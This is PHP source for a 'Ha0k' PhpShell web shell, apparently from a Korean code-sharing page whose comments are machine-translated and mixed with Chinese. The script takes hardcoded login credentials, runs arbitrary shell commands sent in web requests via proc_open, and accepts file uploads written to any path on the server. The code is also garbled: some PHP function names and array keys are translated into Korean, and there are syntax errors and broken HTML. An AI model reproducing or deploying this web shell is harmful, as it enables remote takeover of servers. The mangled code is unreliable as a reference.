코드 복사 코드는 다음과 같습니다.
//여러 사용자를 여기에서 설정할 수 있습니다
$passwd = array('ha0k' => 'ha0k',
'hackerdsb'=>' hackerdsb ');
/* 여기에서 명령의 별칭을 설정하세요*/
$aliases = array('ls' => 'ipconfig',
'll' => 'ls -lvhF') ;
if (!isset($_SERVER['PHP_AUTH_USER'])||!isset($_SERVER['PHP_AUTH_PW'])||
!isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
$passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
header('WWW-Authenticate: Basic realm="by Ha0k"'); header('HTTP/1.0 401 Unauthorized');
$authenticated = false;
}
else {
$authenticated = true; );
/* 세션 초기화 */
if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
$_SESSION['cwd '] = getcwd(); //현재 디렉토리 가져오기
$_SESSION['history'] = array()
$_SESSION['output'] = ''
}
if ( !empty($_REQUEST['command'])) {
if (get_magic_quotes_gpc()) { //0은 해제, 1은 설정, 설정 시 필터링
/* 우리는 다음을 추가하고 싶지 않습니다. 명령을
* 이스케이프된 형식으로 기록하므로 이제 백슬래시를 제거합니다. */
$_REQUEST['command'] = Stripslashes($_REQUEST['command']) //addlashes(를 사용합니다. ) 함수에서 처리한 문자열을 그대로 반환
}
/* History */
if (($i = array_search($_REQUEST['command'], $_SESSION['history']) ) != = false) //저장된 배열에서 값 찾기
unset($_SESSION['history'][$i]) //Destroy
array_unshift($_SESSION['history'], $ _REQUEST['command ']);//array_unshift() 함수는 배열에 새로운 요소를 삽입하는 함수입니다. 그리고 이 새 배열은 원래 배열의 시작 부분에 추가됩니다. 함수가 궁극적으로 반환하는 것은 새 요소를 삽입한 후의 배열입니다.
/* 输takeHa0k# 명령 */
$_SESSION['output'] .= 'Ha0k# ' . $_REQUEST['명령어'] . "N";
/* 현재 작업 디렉토리를 초기화합니다. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
$_SESSION['cwd' ] = 디렉토리이름(__FILE__); //获取当前所在目录
} elseif (ereg('^[[:blank:]]*cd[[:blank:]] ([^;] )$', $_REQUEST['command'], $ regs)) {
/* 현재 명령은 내부 쉘 명령으로
*를 처리해야 하는 'cd' 명령입니다. */
if ($regs[1][0] == '/') {
/* 절대 경로, 변경하지 않고 사용합니다. */
$new_dir = $regs[1];
} else {
/* 상대 경로, 현재 작업 중인
* 디렉터리에 추가합니다. */
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
}
/* '/./'를 '/'로 변환 */
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace( '/./', '/', $new_dir);
/* '//'를 '/'로 변환 */
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', ' /', $new_dir);
/* 'x/..'를 ''로 변환 */
while (preg_match('|/..(?!.)|', $new_dir))
$new_dir = preg_replace(' |/?[^/] /..(?!.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
/* 디렉토리를 변경해 보세요. */
if (@chdir($new_dir)) { //改变当前目录
$_SESSION['cwd'] = $new_dir;
} else {
$_SESSION['output'] .= "cd: $new_dirn으로 변경할 수 없습니다.";
}
} else {
/* 해당 명령은 'cd' 명령이 아니므로
* 디렉터리를 변경한 후 실행하고 출력을 저장합니다. */
chdir($_SESSION['cwd']); //改变目录
/* 이름 표시 */
$length = strcspn($_REQUEST['command'], " t"); //查找t字符串,返回位置
$token = substr($_REQUEST['command'], 0, $length); //문자열-t
if (isset($aliases[$token]))
$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['명령어'], $length);
$p = proc_open($_REQUEST['command'], //동작 설명
array(1 => array('pipe', 'w'),
2 => array(' 파이프', 'w')),
$io);
/* 读 Out发送 */
while (!feof($io[1])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]), / /转换特殊字符为HTML字符编码
ENT_COMPAT, 'GB2312');
}
/* 출력 */
while (!feof($io[2])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[2] ),
ENT_COMPAT, 'GB2312');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);//关闭管道
}
}
/* 构建在JavaScript使用命令历史记录 */
if (empty($_SESSION['history']) ) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';//将数组搞成字符串
}
}
헤더( '콘텐츠 유형: 텍스트/html; charset=GB2312');
echo '' . "N";
?>
if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {
copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST[ '원격파일']);
//echo "上传文件成功: " . $HTTP_POST_FILES['사용자파일']['이름'];
}
?>
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" >
<머리>
PhpShell에 자신을 인증하지 못했습니다. href="">새로고침 다시 시도해 보세요.
설치
PhpShell 설치에 문제가 있는 경우 파일을 삭제하세요.